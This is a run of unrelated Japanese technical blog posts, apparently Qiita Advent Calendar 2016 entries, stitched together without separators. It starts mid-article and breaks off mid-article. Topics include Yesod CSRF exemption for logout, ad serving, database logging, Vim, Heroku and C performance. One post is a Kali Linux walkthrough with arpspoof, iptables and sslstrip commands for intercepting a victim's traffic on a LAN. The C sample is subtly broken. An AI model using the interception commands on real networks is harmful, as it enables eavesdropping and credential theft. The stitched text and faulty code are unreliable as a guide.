- ownCloudのアドレス帳テーブルを同期
- iPhoneに連絡先が同期

![image](https://qiita-image-store.s3.amazonaws.com/0/15176/3c0d074e-1b9c-815f-a3ed-74ba52e9f801.png)

※今回は連絡データがSQL Serverに入っていたので株式会社スタイルズがSQLサーバーのデータをownCloudのアドレス帳テーブルに変換するアプリを作成いたしました。
特定のリソースに対してCSRFチェックを行わないようにする

YesodはCSRF対策のサーバ側処理として``` defaultCsrfMiddleware ``` というYesod Middlewareを提供している、ということは[Yesod Advent Calendar 2016|9日目](http://qiita.com/jabaraster/items/f4e969613349f79f9295)に書きました。

ただ、CSRF対策はサーバ側だけでは当然ながら不充分で、クライアント側にも対処が必要です。ところが困ったことにこのクライアント側で対処がなされていない処理が見あたります。

中でも困るのがログアウト処理で、単純に``` defaultCsrfMiddleware ```を使うとログアウト処理（=/auth/logoutへのアクセス）でCSRFチェックでNGとなってしまい、ログアウトに失敗してしまいます。

![yesod_permission_denied.png](https://qiita-image-store.s3.amazonaws.com/0/10225/c6300754-5c61-b21e-9bec-eb53e1ee7753.png)

これに対処する１つの方法として、特定パスへのアクセス時にCSRF対策を行わないようにするMiddlewareを作り、``` defaultCsrfMiddleware ```の代わりに使うようにしてみたいと思います。

以下サンプルコード。

```Middleware.hs
{-# LANGUAGE OverloadedStrings #-}
module Lib.Middleware (
    csrfMiddleware
) where

import GHC.Base
import Yesod
import Network.Wai (Request(rawPathInfo))
import Data.Textual.Encoding (decodeUtf8)
import Data.Text (Text, isSuffixOf)

csrfMiddleware :: Yesod site =>
    Route site -> HandlerT site IO res -> HandlerT site IO res
csrfMiddleware logoutRoute handler = do
    path <- getRequestPath
    renderFunc <- getUrlRender
    logoutPath <- return $ renderFunc logoutRoute
    if isSuffixOf path logoutPath then
        handler
      else
        defaultCsrfMiddleware handler

getRequestPath :: MonadHandler m => m Text
getRequestPath = getRequest
    >>= return . reqWaiRequest
    >>= return . rawPathInfo
    >>= return . decodeUtf8
```

次のような考え方で作っています。

* CSRFチェックを行わないリソースを引数でもらう
* このようなリソースへのリクエストに対してはハンドラ関数をそのまま呼び出す
* それ以外のリソースへのリクエストに対してはYesodが提供している ``` defaultCsrfMiddleware ``` を介してハンドラ関数を呼び出す

このYesod Middlewareを使うには、``` Foundation.hs ```の中の``` defaultCsrfMiddleware ```を使っている行を、以下のように書き換えます。

```Foundation.hs
yesodMiddleware = csrfMiddleware (AuthR LogoutR) . defaultYesodMiddleware
```

理想的にはCSRF対策が成されていないプログラムを見つけたら修正してPull Requestなりで本家に取り込んでもらうのがいいのでしょうけれども、このような方法もある、ということでご紹介しました。
アドエビスが実現している第三者配信ってなに？

アドエビスのViewThurサービスで実現している第三者配信という技術についてご紹介します。
※注意 本記事においてはアドエビスにおける第三者配信について説明しています。第三者配信(3pas)については色々な意味があるので、厳密な意味などは[こちら](http://dmlab.jp/words/d006.html "3PAS（第三者配信）とは｜デジタルマーケティングラボ")のページなどを参照して下さい。

![2016-12-01_21h00_11.png](https://qiita-image-store.s3.amazonaws.com/0/16943/35461a60-c27d-8809-c71f-638e4727bd85.png)

そもそも、この第三者って何の事だか皆さんお判りでしょうか。
それには、まずWEB広告の仕組みについて理解する必要があります。

WEBページにバナー広告を表示させるためには、広告主(広告を出したい人)がその枠を所有しているWEB媒体にお金を払って、広告を表示してもらいます。
これは、新聞や看板など、現実の広告でも同じですね。

![2016-12-01_19h40_00.png](https://qiita-image-store.s3.amazonaws.com/0/16943/a6fc3914-281e-6da8-276f-eb3f38f9a389.png)

現在、実際にWEBページを所有している人(Yahoo! Japan、Cookpad等)や、広告枠を買い取って代理販売しているアドネットワーク(Google AdSense、マイクロアド等)など、広告を記載できるWEB媒体は多種多様にあります。

![2016-12-01_19h42_50.png](https://qiita-image-store.s3.amazonaws.com/0/16943/26fb9eba-88ce-b7d1-6525-d0afaeb1b39d.png)

例1) Yahoo!トップページ

![2016-12-01_19h46_12.png](https://qiita-image-store.s3.amazonaws.com/0/16943/c5ddd829-4b43-110e-43c1-86ce75bb33ef.png)

例2) Google AdSense

実際に訪問者に何回バナー広告を見せたかというのは、その広告枠を所有しているWEB媒体にしかわかりません。
なので、媒体は自身の広告管理画面上で、何回広告が表示されたかや、何回広告がクリックされたかなどの情報と広告主に提供します。
これがWEB広告の仕組みです。

![2016-12-01_19h56_02.png](https://qiita-image-store.s3.amazonaws.com/0/16943/38ea550b-9a51-0e4b-84b1-6859e5734bd2.png)


さて、第三者配信とは何かに戻ります。
ここでいう第三者とは、広告主でも、WEB媒体でもない、第三者の広告計測システム、つまりアドエビスのことになります。

![2016-12-01_20h25_38.png](https://qiita-image-store.s3.amazonaws.com/0/16943/c91e556f-0d6e-2ae7-153c-6ed3d4f7b42e.png)

通常のWEB広告の仕組みでは、バナー広告をWEB媒体に登録して、WEB媒体からバナー広告が配信されます。
アドエビスの第三者配信では、バナー広告をアドエビスに登録して、WEB媒体にはアドエビスへのリダイレクト設定を登録します。
これにより、訪問者がWEB媒体にアクセスしたときに、訪問者のブラウザは広告の画像をリダイレクト設定に従ってアドエビスに取りに行くようになります。
よって、訪問者が見えるバナー広告はすべてアドエビスが配信するようになります。

![2016-12-01_20h26_46.png](https://qiita-image-store.s3.amazonaws.com/0/16943/440e467f-aace-0fe2-1d32-212f5107cee3.png)


では、これでいったい何が便利になるかというと、バナー広告はすべてアドエビスで配信しているため、アドエビスはどのユーザにバナー広告を配信したかデータを取得できます。
つまり、媒体跨ぎユニークユーザの数や、バナー広告を見たユーザがどのくらい成果にひもづいたかを見ることができます。

![2016-12-01_20h23_50.png](https://qiita-image-store.s3.amazonaws.com/0/16943/cf879ab0-3d3d-b184-dd9d-f5bafdf05243.png)

それでは、この第三者配信をどのようなシステム構成で実現しているのか。
また、次の記事でご紹介したいと思います。
ページモデルとログ

データベースの歴史は古い。
データベースの黎明期ではメモリの価格は今とは桁違いで、1バイトあたり1円を切るかとかそういうレベルの世界だった。1バイトが1円ということは1MBのメモリが100万円以上するという事である。
また、単純にメモリのサイズも小さく、ハイエンドのメモリフレームでRAMを8MB積んでいるとかそんな世界であった。ちょっと大きな事をやろうとすると8MBを溢れる事は当然想定しなくてはならない。

## ページ

HDDのランダムIOは非常に遅い。なので1バイト単位でデータを書き換えるよりはメモリで可能な限り書き換えをバッファして、ある程度の大きさでまとめて書き込みを行う事で高速化できる。
PostgreSQLではデータベースの内容を**ページ**という(デフォルトでは)8KByteの大きさに切り分けて管理している。
1ページの中にテーブルの中の数行分のデータを入れる事でRDBMSはリレーションを保存している。

HDDの中にDB全体がページの配列の形で保存され、そのページを適宜メモリに読み出してトランザクションを行うのが伝統的なDBのアーキテクチャである。
メモリはDBのディスクのキャッシュであり、キャッシュの中でもライトバック式のキャッシュである。
つまり可能な限りディスクとのIOを引き起こさずにメモリ内で更新を受け止め、他のページを参照する際に容量が足りなくなったら更新をディスクに書き戻して手放す。

メモリ内に置いているディスクページの写しを「バッファ」や「キャッシュ」などと呼ぶ事が多い。
1件以上の書き込みを一括にまとめるという意味でのバッファ（もっと言うとWrite Combining Buffer)と、ディスクからの読み出しを高速化するキャッシュの両方の目的を兼ねている事が多い。

ページの書き込みはAtomicに行われるとは限らず、ページの更新途中で電源が抜かれる可能性もあるのでそれに合わせた障害リカバリをする必要がある。

## ログ

これまでの記事では意図的に「ディスクに書く」「ログを書く」などの文脈でも具体的にどのようなフォーマットのログを書くかに関しては言及しなかった。
それは、ログのフォーマット1つ取ってもそれなりにややこしい問題があるからである。

#### 物理ログと論理ログと物理論理ログ

ログにはUndo情報とRedo情報のどちらか、もしくは両方が入っている。どういう場合にどういう使い分けがされるかは後日の記事により詳細を説明する。
Undo情報は「その操作を取り消す為に必要な操作」が入っており、Redo情報には「その操作を行う為に必要な操作」が入っている。
そもそも個々のページの中身は書き換えの途中でマシンの電源断で消失している可能性すらあるので、ここで非常に大事になってくるのが**操作が冪等である**という事である。
冪等とは**何度適用しても同じ結果になるという性質**を表している。数学的にかっこ良く書くなら `f(f(x)) = f(x)` である。例えば

```cpp:
x = 10;  // xに10を代入する
```

この操作は何度実行してもxに10という数値が代入されるので冪等だが

```cpp:
// std::vector<int> y; とする
y.push_back(10);  // 配列yの末尾に新たに10を繋げる
```


この操作は実行するほどに配列yが長くなっていき冪等ではない。
冪等な操作でログを構成することで、ページの一部が中途半端に更新された状態からのリカバリであっても完全なページを復旧できる。

##### 物理ログ

物理ログとはまさにその目的を果たすフォーマットのログであり、愚直にはUndo情報として「更新操作前のページ全体」、Redo情報として「更新操作語のページ全体」、そして「対象となるページID」を保存する事で目的を満たせる。
ページがどのような状態になっていてもまるっと全体を上書きすればそれは冪等な操作である、ページが論理レベルでどういう構造をなしていようと関係なくリカバリできる。
だが、単純な問題としてログ1件あたりページ全体の情報を含むのはログの巨大化を招く。Undo/Redo両方を持ったら1ページ8KBとして16KBもの大きさのログになる。
全体ではなくて一部のバイナリデータとオフセットのペアで持てばいくらか小さくできるが、ページの中の特定の場所に値を挿入する場合など、論理的には小さな更新だが物理的には変更範囲がページ全体に行き届く場合もあり結局ログデータが肥大化する事は避けられない。

##### 論理ログ

データベースにどのような操作を行ったか、という論理的な情報を保存するフォーマットである。例えば「Usersテーブルにid=5 かつ name='kumagi'というエントリを挿入する」という形をしている。このログは簡潔で目的を適切に表現していてコンパクトである一方で冪等でないという致命的な欠点がある。
そのためこの操作を何度も繰り返すとUsersテーブルがどんどん膨れ上がっていく事になる。
単純に冪等でないだけであれば、いくつかの工夫（ユニークなIDを入れるとか）で対応できる。しかし、ページのSplitやMergeやインデックスの更新が絡んだりなど、1つの更新が複数のページに跨る動作となった場合に全てのページが一斉に永続化されていないと一貫性が破られる。複数のページを論理的に一斉に永続化させる方法はシャドーページング（詳細は後日の記事に）などがあるがオーバーヘッドが大きいのであまり実用的とは呼べない。

##### 物理論理ログ

Physiological Logと呼ばれる物で、物理ログと論理ログの両方の特性を併せ持ったログのフォーマットである。
物理的な情報としてページの情報を持ち、論理的な情報としてページに対する更新動作をログする。例えば1つの論理操作が3つのページに影響を与えた場合、論理ログであれば1エントリのログだが、物理論理ログではそれぞれのページごとに1エントリ、合計で3エントリのログが生成される。これであれば3のページそれぞれでディスクに書き戻さずに電源が落ちても、3ページのそれぞれに対してUndoもしくはRedoが可能になる。ページ内に対しては論理的ログであり、個々のページごとにヒモ付けされているという意味で物理ログなので、物理論理ログと呼ばれる。

なお、今後の記事においては特に但し書きをしない限り物理論理ログを指していると考えて欲しい。
明日はバッファ管理とWALの話について書く。
プログラミングを子供に教えていて感じたちょっとした時代ギャップ

#プログラミングを子供に教えていて感じたちょっとした時代ギャップ。

[株式会社LITALICO](http://litalico.co.jp/) [LITALICOワンダー](https://wonder.litalico.jp/)事業部所属の加藤智紀です。
[LITALICO Advent Calendar 2016](http://qiita.com/advent-calendar/2016/litalico)11日目の記事となります!

私からはプログラミングをお子さん（年長〜高校生）に
教えていて感じたちょっとした時代ギャップのお話を。。

##パソコンを触っているお子さんへ向けて…世間の目線が変化？
昔(2004年くらい)パソコンを触っていると
- オタク（暗い人的な意味の）
- 外で遊べない子
- 将来危ないことをしそう
- 親はどんな教育をしているのか…
などかなりネガティブな世間の目が多いように感じておりました。

今は
- パソコン触れると将来有望かも！？
- エンジニアってかっこいい
- オタク（専門的な意味の）
のように少しづつポジティブにパソコンに触ることができるようになったと感じています。

##ディスプレイは基本タッチ
教室のパソコンは指紋だらけになりがち。
タッチパネルじゃなくてもがっかりしないで…

##【このパソコン重くない？】というお子さんが増えたような…
ちょっと砂時計マークが出ると【このパソコン重くない？】【スペック悪いんじゃないの？】と言われるケースが増えたように感じる。
パソコンのメモリやグラフィックボードなどの知識もわりと多くの人が
知っている。どこで身につけたんだろう。

##夢中な物から自然にスキル習得していくお子さん。

最近のお子さんで共通して多いのは
【YouTube】や【マインクラフト】に夢中なお子さん。

YouTubeの場合自分の好きな動画を見るために検索が必要なので
自発的ににローマ字入力や音声入力などにたどり着くお子さんや

マインクラフトをプレイする中でわからないことをGoogleで検索して
ツールやソフトを自分で頑張ってインストールするお子さんなど。

親御さんからよく聞く声は、『何も教えていないのに勝手にできるようになっていた』と。
年長さんがiPadでアプリをダウンロードする事も
珍しいことでは無くなりました。

操作方法を教えてできるようになるというよりかは
必要だから学ぶという感じでしょうか。
取説も最近見ない人が多いですもんね…


##YouTubeからの影響力

ずっとYouTubeを見てしまうお子さん。
この言い方だけだと、YouTubeを見ることがあんまりポジティブではなく、プログラミング教えている最中などに、YouTubeを見ていると、
『YouTubeを見るのをやめてプログラミングをしよう』となりがち。

- なんでYouTubeを見続けるのかな？
- なんの動画が好きなのかな？
- 同じような実況動画あるのになんで同じ投稿者の動画をみているのだろう？

みたいに視点を変えてみると色んな発見がありました。
とあるお子さんは実況動画の構成を自分なりに再現し、
自分の作品発表会の際のプレゼンスライドにインスピレーションを受けて生かされておりました。

その子にとっての見やすさや面白いと思う対象を理解する際
何気なくみているYouTube動画がヒントになってくるかもしれません。

##プログラミングが楽しいと思うかは第一印象で決まる？

僕の同年代の知り合いの多くが最初触ったプログラミング言語は【C言語】でした。プログラミングをして
黒い画面に☆をならべたり。計算機を作ったり…当時は結構夢中になっていたのですが…
お子さんが同じように楽しんでくれるイメージは全員には持てないなと…
最初からC言語など英語のプログラミング言語に触ってもらう事によって、『プログラミングはつまらない』
『自分には向いていないのでは？』と思わせてしまう事もこれからは
多いのではないかと個人的に思っています。

###少しだけおすすめツールを紹介

- [Scratch](https://scratch.mit.edu/)
	- 日本語やひらがなでプログラミングできるので自分のアイデアをストレスなく形にしやすい。
	- エラーという概念があまりなく、組み立てた通りそこまま動く。
	- コミュニティがあり、自分の作品をアップデートしたり人の作品をアレンジしたりする事ができる
	- ゲームを作りやすい。
- [HackforPlay](https://hackforplay.xyz/)
	- ゲーム感覚でプログラミングスキルをストレスなく身に付けやすい
	- チュートリアルでなんとなく、コードが読めるスキルが身につく
	- 英語のプログラミング言語（JavaScript）に触れられる
	- エラー表示がやさしい
	- 何も表示されない…みたいなエラーが起こらないようになっている
	- IDEにコード補完機能がついており、ケアレスミスが少ない
	- 改造が簡単にできる。
	- コミュニティがあり、自分の作品をアップデートしたり人の作品をアレンジしたりする事ができる

＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝
以上です、乱文失礼致しました。
FileMaker API for Ruby (Rfm) について

# FileMaker API for Ruby (Rfm)
これまで FileMaker API for PHP と FX.php を紹介してきましたが、これらはその名のとおり PHP での実装です。Rails や Sinatra で利用するためにはぜひとも Ruby で書ける FileMaker の API がほしいところです。

そこで登場するのが以下の Rfm（FileMaker API for Ruby）です。

- [FileMaker API for Ruby : SFR FileMaker Blog](http://sixfriedrice.com/wp/products/rfm/)

なお、この Rfm は Web 公開機能のうち XML を用いた機能になります。

# サイトの情報は古い
ただし、上記のサイトの情報は古く、2007年のものになります。サンプルアプリケーションはリンク切れです。ただ、[ドキュメント](http://sixfriedrice.com/rdoc/rfm/)は見られる状態です。また、FAMLog の松尾篤さんにより、[日本語訳されたミラーページ](http://www.famlog.jp/rfm/)も存在します。

# Larry Sprock さんによる lardawge-rfm
そこで、Larry Sprock さんが GitHub に lardawge-rfm としてオリジナルの Rfm に代替するコードを公開しました。

- [lardawge/rfm: FileMaker to Ruby adapter.](https://github.com/lardawge/rfm)
- [lardawge-rfm | RubyGems.org | your community gem host](view-source:https://rubygems.org/gems/lardawge-rfm)

日本語の記事は以下に見つけられます。

- [Rfm 1.4をインストールするには - CWPStudy](http://d.hatena.ne.jp/matsuo_atsushi/20110209/p1)

# 現在では Fork された ginjo-rfm を利用する
ところがこの lardawge-rfm の README にあるように、現時点ではメンテは終了しており FileMaker 14 以降での動作が確認されていません。そのことを考慮して現在では **ginjo-rfm** を利用することになります。

最新リリース日は 2015/09/17 の v3.0.11 になります。

- [ginjo/rfm: FileMaker to Ruby adapter.](https://github.com/ginjo/rfm)
- [ginjo-rfm | RubyGems.org | your community gem host](https://rubygems.org/gems/ginjo-rfm)
- [Ginjo-Rfm 2.0のActiveModel互換機能を確認するには - CWPStudy](http://d.hatena.ne.jp/matsuo_atsushi/20120204/p1)

# ginjo-rfm のインストール
gem で一発です。

```bash
# gem install ginjo-rfm
```

あとは require してあげるだけです。

```ruby
require 'rfm'
```

# ginjo-rfm の使い方
使い方については [README が充実している](https://github.com/ginjo/rfm/blob/master/README.md)のでそんなに困ることはないでしょうが、明日の記事で簡単に説明したいと思います。
Vim 8.0 Advent Calendar 11 日目 タイムスタンプで管理されるようになった viminfo ファイル

この記事は [Vim 8.0 Advent Calendar](http://qiita.com/advent-calendar/2016/vim8) の 11 日目の記事です。

今回は、ユーザーの作業が記録されている viminfo ファイルについてです。

## viminfo ファイルの概要

viminfo ファイルは、ユーザーが行った様々な操作を記録しておくファイルです。例えば、レジスタの内容、コマンドラインの履歴、検索文字列の履歴や、ジャンプリストなど、様々な情報が記録されます。これらをファイルに記録することで、次回 Vim を使った際にも、前回の履歴を引き継いで使うことができます。
viminfo ファイルは、基本的には起動時に読み込まれ、終了時にファイルに書き出されます。

## viminfo ファイルのマージ

1 つの viminfo ファイルを複数の Vim のセッションで使った場合、viminfo ファイルはマージされます。

どのようにマージが起きるか、例を挙げます。
同時に 2 つの Vim を立ち上げて、それぞれ A B とします。起動時には viminfo は空で、どちらも最初は履歴がありません。
この時、

1. A で Ex コマンド `:echo 1` を実行
2. B で Ex コマンド `:echo 2` を実行
3. A で Ex コマンド `:echo 3` を実行
4. B で Ex コマンド `:echo 4` を実行
5. B を終了
6. A を終了

とします。

5 の時点で、B の履歴が viminfo ファイルに書き込まれ、viminfo ファイルには新しいものが上に来るように以下のような順番で記録されます(実際のファイルの形式とは異なります)。

```viminfo
:echo 2
:echo 4
```

次に 6 で A が終了する際、viminfo ファイルに更新があることを Vim が検出すると、一旦新しくなった viminfo を読み込みます。続いて A の Vim のセッションで記録された履歴を追記し、viminfo ファイルに書き出します。以下のようになります。

```viminfo
:echo 2
:echo 4
:echo 1
:echo 3
```

このように、コマンドラインヒストリがマージされます。

## 発生する問題

上記の例で、1 つ問題が発生します。ユーザーは複数の Vim を行き来し、`:echo 1` から `:echo 4` まで順番に実行したのにも関わらず、履歴の順番はぐちゃぐちゃになってしまっています。
これは特に Vim を長時間起動していた場合、つい先ほど実行したコマンドが履歴の奥深くに潜ってしまうことを意味します。例だと、ユーザーが最後に実行したのは `:echo 4` ですが、これは履歴の一番下から 3 番目に来てしまっています。
最近実行したものは、履歴の中でも最近に出てきてくれた方が嬉しいでしょう。

## タイムスタンプを使った新しい viminfo ファイル

そこで Vim 8.0 では、コマンドなどの履歴を保存する際に、それらが実行された時間のタイムスタンプも一緒に保存するようになりました。
これによって履歴は読み込まれる時にタイムスタンプ順でソートされ、ユーザーが実行した順番で履歴を参照することができます。
以下のものがタイムスタンプで管理されるようになりました。

- コマンドラインの履歴
- 検索文字列の履歴
- 入力行の履歴
- 空ではないレジスタの値
- ジャンプリスト
- ファイルのマーク
Herokuで静的ファイルにNode.js経由 ( Express4.x系 ) でアクセスする時の注意点

[Herokuで静的ファイルに直接アクセスする方法](http://qiita.com/t-yng/items/e88fe279117659cc6293) を参考に [nulltask/heroku-static-provider](https://github.com/nulltask/heroku-static-provider) を使って環境を整えようとしたのですが、Expressのバージョンを上げるとエラーが出るので注意が必要でした。

## Expressのバージョンを上げる

`"dependencies"`の`"express": "~3.3.4"`を消して、新しくExpressを入れます。せっかくなんで <code>[yarn](https://yarnpkg.com/)</code>を使います。

```shell
$ yarn add express
```

その後、`node server.js`とすると、エラーが出てしまいます。

## エラー概要

```shell
Error: Most middleware (like logger) is no longer bundled with Express and must be installed separately.
Please see https://github.com/senchalabs/connect#middleware.
```

[分離されたMiddleware](https://github.com/senchalabs/connect#middleware)を使え、ということですね。

新しくパッケージを追加し、`server.js`を書き換えます。せっかくなんでES6の記法を使います。

```
$ yarn add morgan compression serve-static basic-auth-connect
```

```js:server.js
const express     = require('express');
const app         = express();
const morgan      = require('morgan');
const compression = require('compression');
const serveStatic = require('serve-static');
const basicAuth   = require('basic-auth-connect');

const user = process.env.USER;
const pass = process.env.PASS;

app.set('port', process.env.PORT || 3000);

if (user && pass) {
  app.use(basicAuth(user, pass));
}

app.use(morgan('dev'));
app.use(compression());
app.use(serveStatic(`${__dirname}/public`));

app.listen(app.get('port'), () => {
  console.log('Server listening on port %s', app.get('port'));
});
```

ベーシック認証を使うためには`basic-auth-connect`を読み込まなければならないので、地味に注意する必要があります。これに関しては、分かりやすいエラーが出ません。

## さいごに

今回の記事のコードは [y-temp4/heroku-static-provider](https://github.com/y-temp4/heroku-static-provider) にありますので、再現してみたい方は確認してみてください。

また、今回のコードを使ってHerokuでWebSocketを用いたチャットアプリを動かす記事も書きましたので、もしよかったらチェックしてみてください。

[HerokuでExpressとexpress-wsを使ってチャットアプリを動かすサンプル](http://qiita.com/y-temp4/items/2a891772921db4361322)
kali linuxでarpspoofingしてみる

# 自己紹介

HAL大阪２回生で、webとセキュリティ、ネットワークの勉強をしています。
Twitter [@kinkoruumu416](https://twitter.com/kinokoruumu416)


# kali linuxってなんぞ

> Kali Linux とは、ペネトレーションテスト（実際にコンピューターに侵入して攻撃するテスト）で使用するツールをまとめた Debian ベースの Linux ディストリビューションです。 Kali Linux は、有名だった BackTrack の後継になります。 BackTrack の開発は既に停止しています。

つまり、ペネトレーションテストをするために便利なツールがたくさんインストールされているOSです。

OSのインストール方法は[この記事](https://www.websec-room.com/2014/01/07/1485)をみてね！


# さっそく攻撃方法の紹介

今回はARPスプーフィングという攻撃を紹介します。

> ARPスプーフィング（アープスプーフィング）とは、ARPプロトコルの応答を偽装することにより、LAN上で通信機器のなりすましを行なう技法である。

各PCの中にあるARPテーブルには、IPアドレスとそれに紐付いたMACアドレスが記録されています。
ARPスプーフィングはそのARPテーブルに書かれたMACアドレスを書き換えます。
そうすることで、対象者の通信を攻撃者のパソコンを経由させることが出来るので、通信内容を盗聴することができます。
このような攻撃を中間者攻撃（man-in-the-middle attack）と言います。
この攻撃をするには対象者と攻撃者が同一ネットワーク内にいる必要があります。


## arpspoof

実際にARPテーブルを書き換えるにはarpspoofコマンドを使用します。

```
$ arpspoof -i インターフェース名 -t 送信元 送信先
```

# 攻撃してみよう

今回の環境は次の通りです
![Untitled.png](https://qiita-image-store.s3.amazonaws.com/0/111629/9be65d8b-3fe5-d5ed-542c-1fa9ade511e2.png)

まずは、自分のPCに設定されたネットワーク情報を確認してみましょう。

```
$ ifconfig
eth0: flags=xxxx<UP,BROADCAST,MULTICAST> mtu xxxx 
      inet 192.168.43.43 netmask 255.255.255.0 broadcast 192.168.43.255
      inet6 xxxx:xxxx:xxxx:xxxx prefixlen 64 scopeid 0x20<link>
      ether xx:xx:xx:xx:xx:xx txqueuelen 1000 (Ethernet)
```


次に対象者のIPアドレスを確認します。
今回は対象者のIPアドレスはわかっていますが、同一ネットワーク内にいるPCを調べるなら次のようにすると良いでしょう。

```
$ nmap -F 192.168.43.0/24
```
環境に合わせてIPアドレスやサブネットマスクを変更してください。

次に、
PCを経由するパケットをフォワードさせるために、IPフォワーディングを有効にしましょう。

```
$ echo 1 > /proc/sys/net/ipv4/ip_forward
```

ARPテーブルの書き換え

```
$ arpspoof -i eth0 -t 192.168.43.1 192.168.43.36
$ arpspoof -i eth0 -t 192.168.43.36 192.168.43.1
```
インターフェース名はifconfigで確認した名前にしましょう。
２回実行しているのは、送信と受信両方が攻撃者PCを経由して通信するようにする為です。
上の行がルーターのARPテーブルにある対象者のMACアドレスを攻撃者のMACアドレスに書き換えるためのもの
下の行が対象者のARPテーブルにあるルーターのMACアドレスを攻撃者のMACアドレスに書き換えるためのもの

これで対象者とルーターとの通信はすべて攻撃者のPCを経由するので、後は何でもやりたい放題です。

パケットをキャプチャするならwireshark

```
$ wireshark
```

ssl通信を盗聴するならsslstrip

```
$ iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080
$ sslstrip -l 8080

#対象者がssl通信を行った後
$ cat sslstrip.log
```
などさまざまなことができます。

# あとがき
セキュリティに興味をもって、無線LANのパスワード解析をして遊んでいました。
その時は、もしパスワードがばれてもタダで無線LANを使われる位に思っていましたが、
MITM攻撃に出会って同一ネットワークに入られることの危険性を知りました。

カフェなどで無線ネットワークが解放されていますが、このような攻撃がされ放題の場所なので気をつけましょうw
C言語でカッコよく見えたコードが走らせたら遅かった話

# これは「やっちまった」話です

私は株式会社 ACCESS の三原と申します。[ACCESS Advent Calendar 2016](http://qiita.com/advent-calendar/2016/access) の11日目をお読みいただき感謝申し上げます。

これは「やっちまった」話です。

一言で言えば「C++の仮想関数で遅くなるパターンをわざわざCでやってしまった」話です。

それを聞いて「ダメだなぁ」と笑える方はお読みになる必要はありません(あ、末尾にある明日の筆者の紹介だけはお読みいただけませんか)。ピンとこない方は、ダメな話におつきあい願えませんか。

# 先輩が残したキレイなコードが遅い

弊社で実装した、ある言語のインタプリタのメンテナンスを引き継ぎました。たとえインタプリタでも、言語処理系を1つ丸々作るのは気が遠くなる作業です。完動するまで実装なされた先輩を今でも尊敬しています。

でも、上手の手から水が漏れることもございます。

元々実装なされた先輩が離れてから、ある顧客から、インタプリタが遅いという指摘を受けました。弊社は組込みプログラミングの会社ですから、顧客というのはエンドユーザではなく電子機器開発メーカです。メーカは入念な調査を行い、インタプリタのメインループではなく字句解析部分が遅いと証拠をつかんでいました。

その遅い箇所は次のような構造をしていました。(製品そのままではありません。模擬コードです)

```c

/*
 * 次の文字に対する処理を実行する関数の
 * インタフェースを定義。
 */
typedef int (*handle_character_proc)(int next_character, ...);

/*
 * 次の文字に対する処理を実行する関数を
 * 関数ポインタで保持。
 */
static handle_character_proc *state_proc;

/*
 * 次の処理を行う関数を設定する。
 */
static void
SetStateProc(handle_character_proc next_proc)
{
  handle_character_proc = next_proc;
}


/*
 * 初期状態を設定する。
 * すなわち、
 * 最初の関数ポインタを設定する。
 */
static int
SetInitialStateProc(int next_character)
{
  ... /* 前段は略 */
  /*
   * 始めの文字に応じて、関数ポインタを設定。
   */
  switch (next_character) {
  case '?':
    SetStateProc(HandleCharacter1);
    break;
  case '=':
    SetStateProc(HandleCharacter2);
    break;
  /*
   * 関数ポインタを設定するcase文は
   * 処理する文字の数だけ続きます。
   */
  }
  ... /* 後段は略 */
}

static int
HandleCharacter1(int next_character, ...)
{
  ... /* 文字に対する処理を行って。 */
  switch (next_character) {
  ...
  /*
   * 次の関数ポインタを設定して状態遷移。
   */
  case '=':
    SetStateProc(HandleCharacter5);
    break;
  ...
  }
}

/*
 * 関数ポインタを呼び出すのが文字に対する処理。
 */
int
ScanChar(int next_character, ...)
{
  int ret;

  ...
  ret = (*handle_character_proc)(next_character, ...);
  ...
}
```

このコード、さすが先輩、キレイだなあ、と思って見ていたのですが……

# 考えてみれば当たり前です

考えてみれば、上のコードが遅いのは当たり前なんです。

- 1文字処理するたびに関数呼び出しのプロローグとエピローグ
- Cコンパイラの最適化もCPUの投機実行も無効化される

関数呼び出しは、自動変数の退避と復帰、等々、環境を作るためのプロローグとエピローグのコストがかかります。

関数呼び出しのコストは、関数が行う処理が十分大きければ、メンテナンスコストとの兼ね合いで許容されます。

しかし上のコードはインタプリタの字句解析機で、1文字処理するたびに関数呼び出しを行っています。内部の処理が小さく、プログラムは関数呼び出しのプロローグとエピローグばかり実行する結果となってしまいます。

こんなときのためのCコンパイラの最適化、とおっしゃる方もいらっしゃるかもしれませんが、このコードは最適化が効かないんです。

関数ポインタの値はプログラム中に頻繁に書き換えられ、法則性がありません。ですからCコンパイラは関数呼び出しに前提を置くことができず、正直に関数ポインタを読み込んでジャンプするコードを生成せざるをえません。

さらにCPUの投機実行も無効化されます。関数ポインタの値は事前に分からないので、ありそうなジャンプ先をとりあえず実行しようとしても「ありそうなジャンプ先」が見つからないのです。

C++プログラマなら、仮想関数の呼び出しが遅いのをいかに静的呼び出しに置換するかテクニックを駆使したことがおありだと思います。上のコードは、C言語なのに、仮想関数を作ってしまったわけです。

# stupid で泥臭い解決策

上のコードは、見栄えがどうであれ、早急に速くする必要がありました。そこで、全部ベタにswitch文で書きなおしました。switch文は、CPUの分岐予測は効きませんが、とりあえず関数呼び出しはなくなります。

すると処理時間が約半分になりました。元コードは処理の半分が関数呼び出しのプロローグとエピローグだったわけです。

# 「教訓」という名の苦い思い出

苦い思いをして1つ学んだのは、関数ポインタによる処理の分岐はカッコいいけれども遅いということです。

分岐の枝が膨大な場合にif文やswitch文より構造が明確になる利点があります。でも、その代わりに実行時間でコストを払うことを顧客からの苦言とともに学びました。

カッコいいプログラミングをしてはいけない、という結論に性急に飛びつくのはやめます。一般的には速いプログラムは構文的にも美しいですから。

明日の [ACCESS Advent Calendar 2016](http://qiita.com/advent-calendar/2016/access) は [@DaisukeKondo](http://qiita.com/DaisukeKondo) さんです。どうぞお楽しみに。
RESTful API記述標準について

#はじめに

クラウドの普及や特色のあるWebサービスが次々と登場してきており、それらのWebサービスが外部との連携のために公開されているWebAPIも急増しています。
これらのAPIの仕様は、一般的にはAPIリファレンスという形式でサービス内のWebページに公開されていたり、Githubに公開されていたりとサービス事業者毎に標準化がなされていない様々な形式で公開されています。近年、これらのWebAPIの記述を標準化する流れが進んでおり、いくつかの統一的な記述言語が出てきておりますので、本記事では代表的なものを紹介したいと思います。

#標準化の価値

Webサービス毎のバラつきを無くすことで、異なるWebサービスのAPI仕様を透過的に参照することができるようになります。それにより、Webサービス間のデータ連携や異なるWebサービスを組み合わせて新しいサービスを創り上げるマッシュアップが容易となります。また、小さなサービスを組み合わせて大きなサービスを作り上げるマイクロサービス化時のサービス間インタフェースの共通仕様の理解の面でも標準化は重要です。

